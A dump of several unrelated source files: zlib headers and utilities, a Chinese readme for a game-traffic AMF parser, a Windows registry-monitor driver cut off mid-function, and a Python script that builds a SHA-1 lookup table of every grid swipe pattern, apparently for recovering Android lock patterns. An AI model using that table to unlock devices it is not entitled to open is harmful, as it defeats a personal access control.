
   Upon exit, destLen is the actual size of the compressed buffer.

     This function can be used to decompress a whole file at once if the

   input file is mmap'ed.



     uncompress returns Z_OK if success, Z_MEM_ERROR if there was not

   enough memory, Z_BUF_ERROR if there was not enough room in the output

   buffer, or Z_DATA_ERROR if the input data was corrupted.

*/





typedef voidp gzFile;



ZEXTERN gzFile ZEXPORT gzopen  OF((const char *path, const char *mode));

/*

     Opens a gzip (.gz) file for reading or writing. The mode parameter

   is as in fopen ("rb" or "wb") but can also include a compression level

   ("wb9") or a strategy: 'f' for filtered data as in "wb6f", 'h' for

   Huffman only compression as in "wb1h". (See the description

   of deflateInit2 for more information about the strategy parameter.)



     gzopen can be used to read a file which is not in gzip format; in this

   case gzread will directly read from the file without decompression.



     gzopen returns NULL if the file could not be opened or if there was

   insufficient memory to allocate the (de)compression state; errno

   can be checked to distinguish the two cases (if errno is zero, the

   zlib error is Z_MEM_ERROR).  */



ZEXTERN gzFile ZEXPORT gzdopen  OF((int fd, const char *mode));

/*

     gzdopen() associates a gzFile with the file descriptor fd.  File

   descriptors are obtained from calls like open, dup, creat, pipe or

   fileno (in the file has been previously opened with fopen).

   The mode parameter is as in gzopen.

     The next call of gzclose on the returned gzFile will also close the

   file descriptor fd, just like fclose(fdopen(fd), mode) closes the file

   descriptor fd. If you want to keep fd open, use gzdopen(dup(fd), mode).

     gzdopen returns NULL if there was insufficient memory to allocate

   the (de)compression state.

*/



ZEXTERN int ZEXPORT gzsetparams OF((gzFile file, int level, int strategy));

/*

     Dynamically update the compression level or strategy. See the description

   of deflateInit2 for the meaning of these parameters.

     gzsetparams returns Z_OK if success, or Z_STREAM_ERROR if the file was not

   opened for writing.

*/



ZEXTERN int ZEXPORT    gzread  OF((gzFile file, voidp buf, unsigned len));

/*

     Reads the given number of uncompressed bytes from the compressed file.

   If the input file was not in gzip format, gzread copies the given number

   of bytes into the buffer.

     gzread returns the number of uncompressed bytes actually read (0 for

   end of file, -1 for error). */



ZEXTERN int ZEXPORT    gzwrite OF((gzFile file, 

				   const voidp buf, unsigned len));

/*

     Writes the given number of uncompressed bytes into the compressed file.

   gzwrite returns the number of uncompressed bytes actually written

   (0 in case of error).

*/



ZEXTERN int ZEXPORTVA   gzprintf OF((gzFile file, const char *format, ...));

/*

     Converts, formats, and writes the args to the compressed file under

   control of the format string, as in fprintf. gzprintf returns the number of

   uncompressed bytes actually written (0 in case of error).

*/



ZEXTERN int ZEXPORT gzputs OF((gzFile file, const char *s));

/*

      Writes the given null-terminated string to the compressed file, excluding

   the terminating null character.

      gzputs returns the number of characters written, or -1 in case of error.

*/



ZEXTERN char * ZEXPORT gzgets OF((gzFile file, char *buf, int len));

/*

      Reads bytes from the compressed file until len-1 characters are read, or

   a newline character is read and transferred to buf, or an end-of-file

   condition is encountered.  The string is then terminated with a null

   character.

      gzgets returns buf, or Z_NULL in case of error.

*/



ZEXTERN int ZEXPORT    gzputc OF((gzFile file, int c));

/*

      Writes c, converted to an unsigned char, into the compressed file.

   gzputc returns the value that was written, or -1 in case of error.

*/



ZEXTERN int ZEXPORT    gzgetc OF((gzFile file));

/*

      Reads one byte from the compressed file. gzgetc returns this byte

   or -1 in case of end of file or error.

*/



ZEXTERN int ZEXPORT    gzflush OF((gzFile file, int flush));

/*

     Flushes all pending output into the compressed file. The parameter

   flush is as in the deflate() function. The return value is the zlib

   error number (see function gzerror below). gzflush returns Z_OK if

   the flush parameter is Z_FINISH and all output could be flushed.

     gzflush should be called only when strictly necessary because it can

   degrade compression.

*/



ZEXTERN z_off_t ZEXPORT    gzseek OF((gzFile file,

				      z_off_t offset, int whence));

/* 

      Sets the starting position for the next gzread or gzwrite on the

   given compressed file. The offset represents a number of bytes in the

   uncompressed data stream. The whence parameter is defined as in lseek(2);

   the value SEEK_END is not supported.

     If the file is opened for reading, this function is emulated but can be

   extremely slow. If the file is opened for writing, only forward seeks are

   supported; gzseek then compresses a sequence of zeroes up to the new

   starting position.



      gzseek returns the resulting offset location as measured in bytes from

   the beginning of the uncompressed stream, or -1 in case of error, in

   particular if the file is opened for writing and the new starting position

   would be before the current position.

*/



ZEXTERN int ZEXPORT    gzrewind OF((gzFile file));

/*

     Rewinds the given file. This function is supported only for reading.



   gzrewind(file) is equivalent to (int)gzseek(file, 0L, SEEK_SET)

*/



ZEXTERN z_off_t ZEXPORT    gztell OF((gzFile file));

/*

     Returns the starting position for the next gzread or gzwrite on the

   given compressed file. This position represents a number of bytes in the

   uncompressed data stream.



   gztell(file) is equivalent to gzseek(file, 0L, SEEK_CUR)

*/



ZEXTERN int ZEXPORT gzeof OF((gzFile file));

/*

     Returns 1 when EOF has previously been detected reading the given

   input stream, otherwise zero.

*/



ZEXTERN int ZEXPORT    gzclose OF((gzFile file));

/*

     Flushes all pending output if necessary, closes the compressed file

   and deallocates all the (de)compression state. The return value is the zlib

   error number (see function gzerror below).

*/



ZEXTERN const char * ZEXPORT gzerror OF((gzFile file, int *errnum));

/*

     Returns the error message for the last error which occurred on the

   given compressed file. errnum is set to zlib error number. If an

   error occurred in the file system and not in the compression library,

   errnum is set to Z_ERRNO and the application may consult errno

   to get the exact error code.

*/



                        /* checksum functions */



/*

     These functions are not related to compression but are exported

   anyway because they might be useful in applications using the

   compression library.

*/



ZEXTERN uLong ZEXPORT adler32 OF((uLong adler, const Bytef *buf, uInt len));



/*

     Update a running Adler-32 checksum with the bytes buf[0..len-1] and

   return the updated checksum. If buf is NULL, this function returns

   the required initial value for the checksum.

   An Adler-32 checksum is almost as reliable as a CRC32 but can be computed

   much faster. Usage example:



     uLong adler = adler32(0L, Z_NULL, 0);



     while (read_buffer(buffer, length) != EOF) {

       adler = adler32(adler, buffer, length);

     }

     if (adler != original_adler) error();

*/



ZEXTERN uLong ZEXPORT crc32   OF((uLong crc, const Bytef *buf, uInt len));

/*

     Update a running crc with the bytes buf[0..len-1] and return the updated

   crc. If buf is NULL, this function returns the required initial value

   for the crc. Pre- and post-conditioning (one's complement) is performed

   within this function so it shouldn't be done by the application.

   Usage example:



     uLong crc = crc32(0L, Z_NULL, 0);



     while (read_buffer(buffer, length) != EOF) {

       crc = crc32(crc, buffer, length);

     }

     if (crc != original_crc) error();

*/





                        /* various hacks, don't look :) */



/* deflateInit and inflateInit are macros to allow checking the zlib version

 * and the compiler's view of z_stream:

 */

ZEXTERN int ZEXPORT deflateInit_ OF((z_streamp strm, int level,

                                     const char *version, int stream_size));

ZEXTERN int ZEXPORT inflateInit_ OF((z_streamp strm,

                                     const char *version, int stream_size));

ZEXTERN int ZEXPORT deflateInit2_ OF((z_streamp strm, int  level, int  method,

                                      int windowBits, int memLevel,

                                      int strategy, const char *version,

                                      int stream_size));

ZEXTERN int ZEXPORT inflateInit2_ OF((z_streamp strm, int  windowBits,

                                      const char *version, int stream_size));

#define deflateInit(strm, level) \

        deflateInit_((strm), (level),       ZLIB_VERSION, sizeof(z_stream))

#define inflateInit(strm) \

        inflateInit_((strm),                ZLIB_VERSION, sizeof(z_stream))

#define deflateInit2(strm, level, method, windowBits, memLevel, strategy) \

        deflateInit2_((strm),(level),(method),(windowBits),(memLevel),\

                      (strategy),           ZLIB_VERSION, sizeof(z_stream))

#define inflateInit2(strm, windowBits) \

        inflateInit2_((strm), (windowBits), ZLIB_VERSION, sizeof(z_stream))





#if !defined(_Z_UTIL_H) && !defined(NO_DUMMY_DECL)

    struct internal_state {int dummy;}; /* hack for buggy compilers */

#endif



ZEXTERN const char   * ZEXPORT zError           OF((int err));

ZEXTERN int            ZEXPORT inflateSyncPoint OF((z_streamp z));

ZEXTERN const uLongf * ZEXPORT get_crc_table    OF((void));



#ifdef __cplusplus

}

#endif



#endif /* _ZLIB_H */









源码/Zip/zutil.c

/* zutil.c -- target dependent utility functions for the compression library

 * Copyright (C) 1995-2002 Jean-loup Gailly.

 * For conditions of distribution and use, see copyright notice in zlib.h 

 */



/* @(#) $Id$ */



#include "zutil.h"



struct internal_state      {int dummy;}; /* for buggy compilers */



#ifndef STDC

extern void exit OF((int));

#endif



const char *z_errmsg[10] = {

"need dictionary",     /* Z_NEED_DICT       2  */

"stream end",          /* Z_STREAM_END      1  */

"",                    /* Z_OK              0  */

"file error",          /* Z_ERRNO         (-1) */

"stream error",        /* Z_STREAM_ERROR  (-2) */

"data error",          /* Z_DATA_ERROR    (-3) */

"insufficient memory", /* Z_MEM_ERROR     (-4) */

"buffer error",        /* Z_BUF_ERROR     (-5) */

"incompatible version",/* Z_VERSION_ERROR (-6) */

""};





const char * ZEXPORT zlibVersion()

{

    return ZLIB_VERSION;

}



#ifdef DEBUG



#  ifndef verbose

#    define verbose 0

#  endif

int z_verbose = verbose;



void z_error (m)

    char *m;

{

    fprintf(stderr, "%s\n", m);

    exit(1);

}

#endif



/* exported to allow conversion of error code to string for compress() and

 * uncompress()

 */

const char * ZEXPORT zError(err)

    int err;

{

    return ERR_MSG(err);

}





#ifndef HAVE_MEMCPY



void zmemcpy(dest, source, len)

    Bytef* dest;

    const Bytef* source;

    uInt  len;

{

    if (len == 0) return;

    do {

        *dest++ = *source++; /* ??? to be unrolled */

    } while (--len != 0);

}



int zmemcmp(s1, s2, len)

    const Bytef* s1;

    const Bytef* s2;

    uInt  len;

{

    uInt j;



    for (j = 0; j < len; j++) {

        if (s1[j] != s2[j]) return 2*(s1[j] > s2[j])-1;

    }

    return 0;

}



void zmemzero(dest, len)

    Bytef* dest;

    uInt  len;

{

    if (len == 0) return;

    do {

        *dest++ = 0;  /* ??? to be unrolled */

    } while (--len != 0);

}

#endif



#ifdef __TURBOC__

#if (defined( __BORLANDC__) || !defined(SMALL_MEDIUM)) && !defined(__32BIT__)

/* Small and medium model in Turbo C are for now limited to near allocation

 * with reduced MAX_WBITS and MAX_MEM_LEVEL

 */

#  define MY_ZCALLOC



/* Turbo C malloc() does not allow dynamic allocation of 64K bytes

 * and farmalloc(64K) returns a pointer with an offset of 8, so we

 * must fix the pointer. Warning: the pointer must be put back to its

 * original form in order to free it, use zcfree().

 */



#define MAX_PTR 10

/* 10*64K = 640K */



local int next_ptr = 0;



typedef struct ptr_table_s {

    voidpf org_ptr;

    voidpf new_ptr;

} ptr_table;



local ptr_table table[MAX_PTR];

/* This table is used to remember the original form of pointers

 * to large buffers (64K). Such pointers are normalized with a zero offset.

 * Since MSDOS is not a preemptive multitasking OS, this table is not

 * protected from concurrent access. This hack doesn't work anyway on

 * a protected system like OS/2. Use Microsoft C instead.

 */



voidpf zcalloc (voidpf opaque, unsigned items, unsigned size)

{

    voidpf buf = opaque; /* just to make some compilers happy */

    ulg bsize = (ulg)items*size;



    /* If we allocate less than 65520 bytes, we assume that farmalloc

     * will return a usable pointer which doesn't have to be normalized.

     */

    if (bsize < 65520L) {

        buf = farmalloc(bsize);

        if (*(ush*)&buf != 0) return buf;

    } else {

        buf = farmalloc(bsize + 16L);

    }

    if (buf == NULL || next_ptr >= MAX_PTR) return NULL;

    table[next_ptr].org_ptr = buf;



    /* Normalize the pointer to seg:0 */

    *((ush*)&buf+1) += ((ush)((uch*)buf-0) + 15) >> 4;

    *(ush*)&buf = 0;

    table[next_ptr++].new_ptr = buf;

    return buf;

}



void  zcfree (voidpf opaque, voidpf ptr)

{

    int n;

    if (*(ush*)&ptr != 0) { /* object < 64K */

        farfree(ptr);

        return;

    }

    /* Find the original pointer */

    for (n = 0; n < next_ptr; n++) {

        if (ptr != table[n].new_ptr) continue;



        farfree(table[n].org_ptr);

        while (++n < next_ptr) {

            table[n-1] = table[n];

        }

        next_ptr--;

        return;

    }

    ptr = opaque; /* just to make some compilers happy */

    Assert(0, "zcfree: ptr not found");

}

#endif

#endif /* __TURBOC__ */





#if defined(M_I86) && !defined(__32BIT__)

/* Microsoft C in 16-bit mode */



#  define MY_ZCALLOC



#if (!defined(_MSC_VER) || (_MSC_VER <= 600))

#  define _halloc  halloc

#  define _hfree   hfree

#endif



voidpf zcalloc (voidpf opaque, unsigned items, unsigned size)

{

    if (opaque) opaque = 0; /* to make compiler happy */

    return _halloc((long)items, size);

}



void  zcfree (voidpf opaque, voidpf ptr)

{

    if (opaque) opaque = 0; /* to make compiler happy */

    _hfree(ptr);

}



#endif /* MSC */





#ifndef MY_ZCALLOC /* Any system without a special alloc function */



#ifndef STDC

extern voidp  calloc OF((uInt items, uInt size));

extern void   free   OF((voidpf ptr));

#endif



voidpf zcalloc (opaque, items, size)

    voidpf opaque;

    unsigned items;

    unsigned size;

{

    if (opaque) items += size - size; /* make compiler happy */

    return (voidpf)calloc(items, size);

}



void  zcfree (opaque, ptr)

    voidpf opaque;

    voidpf ptr;

{

    free(ptr);

    if (opaque) return; /* make compiler happy */

}



#endif /* MY_ZCALLOC */









源码/Zip/zutil.h

/* zutil.h -- internal interface and configuration of the compression library

 * Copyright (C) 1995-2002 Jean-loup Gailly.

 * For conditions of distribution and use, see copyright notice in zlib.h

 */



/* WARNING: this file should *not* be used by applications. It is

   part of the implementation of the compression library and is

   subject to change. Applications should only use zlib.h.

 */



/* @(#) $Id$ */



#ifndef _Z_UTIL_H

#define _Z_UTIL_H



#include "zlib.h"



#ifdef STDC

#  include <stddef.h>

#  include <string.h>

#  include <stdlib.h>

#endif

#ifdef NO_ERRNO_H

    extern int errno;

#else

#   include <errno.h>

#endif



#ifndef local

#  define local static

#endif

/* compile with -Dlocal if your debugger can't find static symbols */



typedef unsigned char  uch;

typedef uch FAR uchf;

typedef unsigned short ush;

typedef ush FAR ushf;

typedef unsigned long  ulg;



extern const char *z_errmsg[10]; /* indexed by 2-zlib_error */

/* (size given to avoid silly warnings with Visual C++) */



#define ERR_MSG(err) z_errmsg[Z_NEED_DICT-(err)]



#define ERR_RETURN(strm,err) \

  return (strm->msg = (char*)ERR_MSG(err), (err))

/* To be used only when the state is known to be valid */



        /* common constants */



#ifndef DEF_WBITS

#  define DEF_WBITS MAX_WBITS

#endif

/* default windowBits for decompression. MAX_WBITS is for compression only */



#if MAX_MEM_LEVEL >= 8

#  define DEF_MEM_LEVEL 8

#else

#  define DEF_MEM_LEVEL  MAX_MEM_LEVEL

#endif

/* default memLevel */



#define STORED_BLOCK 0

#define STATIC_TREES 1

#define DYN_TREES    2

/* The three kinds of block type */



#define MIN_MATCH  3

#define MAX_MATCH  258

/* The minimum and maximum match lengths */



#define PRESET_DICT 0x20 /* preset dictionary flag in zlib header */



        /* target dependencies */



#ifdef MSDOS

#  define OS_CODE  0x00

#  if defined(__TURBOC__) || defined(__BORLANDC__)

#    if(__STDC__ == 1) && (defined(__LARGE__) || defined(__COMPACT__))

       /* Allow compilation with ANSI keywords only enabled */

       void _Cdecl farfree( void *block );

       void *_Cdecl farmalloc( unsigned long nbytes );

#    else

#     include <alloc.h>

#    endif

#  else /* MSC or DJGPP */

#    include <malloc.h>

#  endif

#endif



#ifdef OS2

#  define OS_CODE  0x06

#endif



#ifdef WIN32 /* Window 95 & Windows NT */

#  define OS_CODE  0x0b

#endif



#if defined(VAXC) || defined(VMS)

#  define OS_CODE  0x02

#  define F_OPEN(name, mode) \

     fopen((name), (mode), "mbc=60", "ctx=stm", "rfm=fix", "mrs=512")

#endif



#ifdef AMIGA

#  define OS_CODE  0x01

#endif



#if defined(ATARI) || defined(atarist)

#  define OS_CODE  0x05

#endif



#if defined(MACOS) || defined(TARGET_OS_MAC)

#  define OS_CODE  0x07

#  if defined(__MWERKS__) && __dest_os != __be_os && __dest_os != __win32_os

#    include <unix.h> /* for fdopen */

#  else

#    ifndef fdopen

#      define fdopen(fd,mode) NULL /* No fdopen() */

#    endif

#  endif

#endif



#ifdef __50SERIES /* Prime/PRIMOS */

#  define OS_CODE  0x0F

#endif



#ifdef TOPS20

#  define OS_CODE  0x0a

#endif



#if defined(_BEOS_) || defined(RISCOS)

#  define fdopen(fd,mode) NULL /* No fdopen() */

#endif



#if (defined(_MSC_VER) && (_MSC_VER > 600))

#  define fdopen(fd,type)  _fdopen(fd,type)

#endif





        /* Common defaults */



#ifndef OS_CODE

#  define OS_CODE  0x03  /* assume Unix */

#endif



#ifndef F_OPEN

#  define F_OPEN(name, mode) fopen((name), (mode))

#endif



         /* functions */



#ifdef HAVE_STRERROR

   extern char *strerror OF((int));

#  define zstrerror(errnum) strerror(errnum)

#else

#  define zstrerror(errnum) ""

#endif



#if defined(pyr)

#  define NO_MEMCPY

#endif

#if defined(SMALL_MEDIUM) && !defined(_MSC_VER) && !defined(__SC__)

 /* Use our own functions for small and medium model with MSC <= 5.0.

  * You may have to use the same strategy for Borland C (untested).

  * The __SC__ check is for Symantec.

  */

#  define NO_MEMCPY

#endif

#if defined(STDC) && !defined(HAVE_MEMCPY) && !defined(NO_MEMCPY)

#  define HAVE_MEMCPY

#endif

#ifdef HAVE_MEMCPY

#  ifdef SMALL_MEDIUM /* MSDOS small or medium model */

#    define zmemcpy _fmemcpy

#    define zmemcmp _fmemcmp

#    define zmemzero(dest, len) _fmemset(dest, 0, len)

#  else

#    define zmemcpy memcpy

#    define zmemcmp memcmp

#    define zmemzero(dest, len) memset(dest, 0, len)

#  endif

#else

   extern void zmemcpy  OF((Bytef* dest, const Bytef* source, uInt len));

   extern int  zmemcmp  OF((const Bytef* s1, const Bytef* s2, uInt len));

   extern void zmemzero OF((Bytef* dest, uInt len));

#endif



/* Diagnostic functions */

#ifdef DEBUG

#  include <stdio.h>

   extern int z_verbose;

   extern void z_error    OF((char *m));

#  define Assert(cond,msg) {if(!(cond)) z_error(msg);}

#  define Trace(x) {if (z_verbose>=0) fprintf x ;}

#  define Tracev(x) {if (z_verbose>0) fprintf x ;}

#  define Tracevv(x) {if (z_verbose>1) fprintf x ;}

#  define Tracec(c,x) {if (z_verbose>0 && (c)) fprintf x ;}

#  define Tracecv(c,x) {if (z_verbose>1 && (c)) fprintf x ;}

#else

#  define Assert(cond,msg)

#  define Trace(x)

#  define Tracev(x)

#  define Tracevv(x)

#  define Tracec(c,x)

#  define Tracecv(c,x)

#endif





typedef uLong (ZEXPORT *check_func) OF((uLong check, const Bytef *buf,

				       uInt len));

voidpf zcalloc OF((voidpf opaque, unsigned items, unsigned size));

void   zcfree  OF((voidpf opaque, voidpf ptr));



#define ZALLOC(strm, items, size) \

           (*((strm)->zalloc))((strm)->opaque, (items), (size))

#define ZFREE(strm, addr)  (*((strm)->zfree))((strm)->opaque, (voidpf)(addr))

#define TRY_FREE(s, p) {if (p) ZFREE(s, p);}



#endif /* _Z_UTIL_H */
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amf解析程序源码说明.txt

1、编译环境：Visualc++6.0(SP2)+XP SDK SP2；

2、AMF数据包分析环境：FireFox浏览器版本低于5.0,插件FireBug(版本低于1.5),amf Explorer版本0.7；

3、程序使用：首先使用IE+HttpWatch（插件）导出需要分析的七雄数据包；

             用UltraEdit编辑数据包,将HTTP头部删除，只保存AMF正文部分（0x00 03开始至数据包末 ）

             如果正文部分使用gzip压缩,同样将HTTP头部删除,只保存正文部分（0x1F 8B开始至数据包末）

4、对未压缩数据包：点击->AMF解析->解析未压缩数据->选择数据包

   对压缩数据包：  点击->AMF解析->解析压缩数据(gzip)->选择数据包

5、七雄测试数据包文件夹中保存了六个测试数据包，大家可以测试一下，也可用Ultraedit查看其数据格式。
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generate_db.py

# coding by g0t3n

#coding:utf-8

import sys

import os

import hashlib

from copy import deepcopy

filehandle = None

db = "./hash.db"

init_mapper = [[0,0,0],[0,0,0],[0,0,0]]

mapper_queue = []		# tmp_mapper,startx,starty,prev_path

key_mapper  = [['\x00','\x01','\x02'],['\x03','\x04','\x05'],['\x06','\x07','\x08']]



def notfull(mapper):

	for x in range(3):

		for y in range(3):

			if (mapper[x][y] != 0):

				return True

	return False



# 因为必须两个以上九个以下

def canwritelog(mapper):

	cnt = 0

	for x in range(3):

		for y in range(3):

			if mapper[x][y] == 1:

				cnt += 1

			if cnt > 2:

				return True

	return False



def writelog(tmp, prev):

	strings = ""

	paths = ""

	for i in prev:

		x,y = i

		paths = paths + str(x)+str(y)

		strings = strings + key_mapper[x][y]

	#print "writelog: strings => "+strings + " | " +hashlib.sha1(strings).hexdigest()

	filehandle.write(paths+" | "+hashlib.sha1(strings).hexdigest()+'\n')





def main():

	print "wait while generate hash.db"

	rounds = 1

	for startxs in range(3):

		for startys in range(3):

			# start point to 0,0

			#startx,starty = 0,0

			cur_mapper = init_mapper

			init = 0

			prev_path = []

			

			startx,starty = startxs,startys

			while(True):



				if init == 0:			# init

					tmp_mapper = deepcopy(cur_mapper)			# u r not virgin

					tmp_mapper[startx][starty] = 1

					prev_path.append((startx,starty))

					init = 1

				else:

					if len(mapper_queue) == 0:		# 队列为空证明finish了

						break

					tmp_mapper,startx,starty,prev_path = mapper_queue.pop()

				#print "head => "+repr(tmp_mapper)

				#print "mapper_queue =>"+repr(mapper_queue)

				if (startx+1 < 3) :			# right

					tmp = deepcopy(tmp_mapper)

					tmp_prev_path = deepcopy(prev_path)

					tmp_prev_path.append((startx+1,starty))

					if  (tmp_mapper[startx+1][starty] != 1):			#  如果该点本来为 1,即结束,即不再入栈

						tmp[startx+1][starty] = 1

						mapper_queue.append((tmp, startx+1, starty, tmp_prev_path))

					if canwritelog(tmp):

						writelog(tmp, tmp_prev_path)			# !!!



				if (startx-1 >= 0):		# left

					tmp = deepcopy(tmp_mapper)

					tmp_prev_path = deepcopy(prev_path)

					tmp_prev_path.append((startx-1,starty))

					if (tmp_mapper[startx-1][starty] != 1):

						tmp[startx-1][starty] = 1

						mapper_queue.append((tmp, startx-1, starty, tmp_prev_path))

					if canwritelog(tmp):

						writelog(tmp, tmp_prev_path)			# !!!



				if (starty+1 < 3) :		# down

					tmp = deepcopy(tmp_mapper)



					tmp_prev_path = deepcopy(prev_path)

					tmp_prev_path.append((startx,starty+1))

					if (tmp_mapper[startx][starty+1] != 1):

						tmp[startx][starty+1] = 1

						mapper_queue.append((tmp, startx, starty+1, tmp_prev_path))

					if canwritelog(tmp):

						writelog(tmp, tmp_prev_path)			# !!!



				if (starty-1 >= 0):		# up

					tmp = deepcopy(tmp_mapper)



					tmp_prev_path = deepcopy(prev_path)

					tmp_prev_path.append((startx,starty-1)) 

					if (tmp_mapper[startx][starty-1] != 1):

						tmp[startx][starty-1] = 1

						mapper_queue.append((tmp, startx, starty-1, tmp_prev_path))

					if canwritelog(tmp):

						writelog(tmp, tmp_prev_path)			# !!!

				# 斜 一位

				if (startx+1 < 3) and (starty+1 < 3):		# right down

					tmp = deepcopy(tmp_mapper)



					tmp_prev_path = deepcopy(prev_path)

					tmp_prev_path.append((startx+1,starty+1))

					if  (tmp_mapper[startx+1][starty+1] != 1):

						tmp[startx+1][starty+1] = 1

						mapper_queue.append((tmp, startx+1, starty+1, tmp_prev_path))

					if canwritelog(tmp):

						writelog(tmp, tmp_prev_path)			# !!!

				if (startx-1 >= 0) and (starty+1 < 3):		# left down

					tmp = deepcopy(tmp_mapper)

					tmp_prev_path = deepcopy(prev_path)

					tmp_prev_path.append((startx-1,starty+1))

					if (tmp_mapper[startx-1][starty+1] != 1):

						tmp[startx-1][starty+1] = 1

						mapper_queue.append((tmp, startx-1, starty+1, tmp_prev_path))

					if canwritelog(tmp):

						writelog(tmp, tmp_prev_path)			# !!!



				if (startx-1 >= 0) and (starty-1 >= 0) :		# left up

					tmp = deepcopy(tmp_mapper)

					tmp_prev_path = deepcopy(prev_path)

					tmp_prev_path.append((startx-1,starty-1))

					if (tmp_mapper[startx-1][starty-1] != 1):

						tmp[startx-1][starty-1] = 1

						mapper_queue.append((tmp, startx-1, starty-1, tmp_prev_path))

					if canwritelog(tmp):

						writelog(tmp, tmp_prev_path)			# !!!



				if (startx+1 < 3) and (starty-1 >= 0):		# right up

					tmp = deepcopy(tmp_mapper)



					tmp_prev_path = deepcopy(prev_path)

					tmp_prev_path.append((startx+1,starty-1))

					if (tmp_mapper[startx+1][starty-1] != 1):

						tmp[startx+1][starty-1] = 1

						mapper_queue.append((tmp, startx+1, starty-1, tmp_prev_path))

					if canwritelog(tmp):

						writelog(tmp, tmp_prev_path)			# !!!

				#  斜 两位

				if (startx+1 < 3) and (starty+2 < 3):

					tmp = deepcopy(tmp_mapper)

					tmp_prev_path = deepcopy(prev_path)

					tmp_prev_path.append((startx+1,starty+2))

					if (tmp_mapper[startx+1][starty+2] != 1):

						tmp[startx+1][starty+2] = 1

						mapper_queue.append((tmp, startx+1, starty+2, tmp_prev_path))

					if canwritelog(tmp):

						writelog(tmp, tmp_prev_path)			# !!!

				if (startx-1 >= 0) and (starty+2 < 3):

					tmp = deepcopy(tmp_mapper)

					tmp_prev_path = deepcopy(prev_path)

					tmp_prev_path.append((startx-1,starty+2))

					if (tmp_mapper[startx-1][starty+2] != 1):

						tmp[startx-1][starty+2] = 1

						mapper_queue.append((tmp, startx-1, starty+2, tmp_prev_path))

					if canwritelog(tmp):

						writelog(tmp, tmp_prev_path)			# !!!

				if (startx+1 < 3) and (starty-2 >= 0):

					tmp = deepcopy(tmp_mapper)

					tmp_prev_path = deepcopy(prev_path)

					tmp_prev_path.append((startx+1,starty-2))

					if (tmp_mapper[startx+1][starty-2] != 1):

						tmp[startx+1][starty-2] = 1

						mapper_queue.append((tmp, startx+1, starty-2, tmp_prev_path))

					if canwritelog(tmp):

						writelog(tmp, tmp_prev_path)			# !!!

				if (startx-1 >= 0) and (starty-2 >= 0):

					tmp = deepcopy(tmp_mapper)

					tmp_prev_path = deepcopy(prev_path)

					tmp_prev_path.append((startx-1,starty-2))

					if (tmp_mapper[startx-1][starty-2] != 1):

						tmp[startx-1][starty-2] = 1

						mapper_queue.append((tmp, startx-1, starty-2, tmp_prev_path))

					if canwritelog(tmp):

						writelog(tmp, tmp_prev_path)			# !!!



				if (startx+2 < 3) and (starty+1 < 3):

					tmp = deepcopy(tmp_mapper)

					tmp_prev_path = deepcopy(prev_path)

					tmp_prev_path.append((startx+2,starty+1))

					if (tmp_mapper[startx+2][starty+1] != 1):

						tmp[startx+2][starty+1] = 1

						mapper_queue.append((tmp, startx+2, starty+1, tmp_prev_path))

					if canwritelog(tmp):

						writelog(tmp, tmp_prev_path)			# !!!

				if (startx+2 < 3) and (starty-1 >= 0):

					tmp = deepcopy(tmp_mapper)

					tmp_prev_path = deepcopy(prev_path)

					tmp_prev_path.append((startx+2,starty-1))

					if (tmp_mapper[startx+2][starty-1] != 1):

						tmp[startx+2][starty-1] = 1

						mapper_queue.append((tmp, startx+2, starty-1, tmp_prev_path))

					if canwritelog(tmp):

						writelog(tmp, tmp_prev_path)			# !!!

				if (startx-2 >= 0) and (starty-1 >= 0):

					tmp = deepcopy(tmp_mapper)

					tmp_prev_path = deepcopy(prev_path)

					tmp_prev_path.append((startx-2,starty-1))

					if (tmp_mapper[startx-2][starty-1] != 1):

						tmp[startx-2][starty-1] = 1

						mapper_queue.append((tmp, startx-2, starty-1, tmp_prev_path))

					if canwritelog(tmp):

						writelog(tmp, tmp_prev_path)			# !!!				

				if (startx-2 >= 0) and (starty+1 < 3):

					tmp = deepcopy(tmp_mapper)

					tmp_prev_path = deepcopy(prev_path)

					tmp_prev_path.append((startx-2,starty+1))

					if (tmp_mapper[startx-2][starty+1] != 1):

						tmp[startx-2][starty+1] = 1

						mapper_queue.append((tmp, startx-2, starty+1, tmp_prev_path))

					if canwritelog(tmp):

						writelog(tmp, tmp_prev_path)			# !!!				

				#print "round "+str(rounds)

				rounds += 1





		

	print "finished..."



if __name__ == '__main__':

	if os.path.isfile(db) == False:

		filehandle = open(db,'w')

		main()

	else:

		print db+" exists. now exit..."
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src/nt5x86/makefile

#

# DO NOT EDIT THIS FILE!!!  Edit .\sources. if you want to add a new source

# file to this component.  This file merely indirects to the real make file

# that is shared by all the components of NT OS/2

#

!INCLUDE $(NTMAKEENV)\makefile.def






src/nt6x64/makefile

#

# DO NOT EDIT THIS FILE!!!  Edit .\sources. if you want to add a new source

# file to this component.  This file merely indirects to the real make file

# that is shared by all the components of NT OS/2

#

!INCLUDE $(NTMAKEENV)\makefile.def






src/nt5x86/sources

TARGETNAME=CmRegMonitor

TARGETTYPE=DRIVER

TARGETPATH=obj



INCLUDES=.\



SOURCES = MyDriver.c






src/nt6x64/sources

TARGETNAME=CmRegMonitor

TARGETTYPE=DRIVER

TARGETPATH=obj



INCLUDES=.\



SOURCES = MyDriver.c






src/nt5x86/MyDriver.h

#include <ntddk.h>



#define dprintf				if (DBG) DbgPrint



#define	DEVICE_NAME			L"\\Device\\CmRegMonitor"

#define LINK_NAME			L"\\DosDevices\\CmRegMonitor"

#define LINK_GLOBAL_NAME	L"\\DosDevices\\Global\\CmRegMonitor"






src/nt6x64/MyDriver.h

#include <ntddk.h>



#define dprintf				if (DBG) DbgPrint



#define	DEVICE_NAME			L"\\Device\\CmRegMonitor"

#define LINK_NAME			L"\\DosDevices\\CmRegMonitor"

#define LINK_GLOBAL_NAME	L"\\DosDevices\\Global\\CmRegMonitor"






src/nt6x64/testcode.h

#include <ntddk.h>



#define REGISTRY_POOL_TAG 'pRE'



NTKERNELAPI NTSTATUS ObQueryNameString

(

    IN  PVOID Object,

    OUT POBJECT_NAME_INFORMATION ObjectNameInfo,

    IN  ULONG Length,

    OUT PULONG ReturnLength

);



NTKERNELAPI NTSTATUS RtlUnicodeStringCopy

(

  __out  PUNICODE_STRING DestinationString,

  __in   PUNICODE_STRING SourceString

);



NTKERNELAPI UCHAR* PsGetProcessImageFileName(PEPROCESS Process);



LARGE_INTEGER CmHandle;

NTSTATUS CmSt;



BOOLEAN IsProcessName(char *string, PEPROCESS eprocess)

{

	char xx[260]={0};

	strcpy(xx,PsGetProcessImageFileName(eprocess));

	if(!_stricmp(xx,string))

		return TRUE;

	else

		return FALSE;

}



BOOLEAN GetRegistryObjectCompleteName(PUNICODE_STRING pRegistryPath, PUNICODE_STRING pPartialRegistryPath, PVOID pRegistryObject)

{

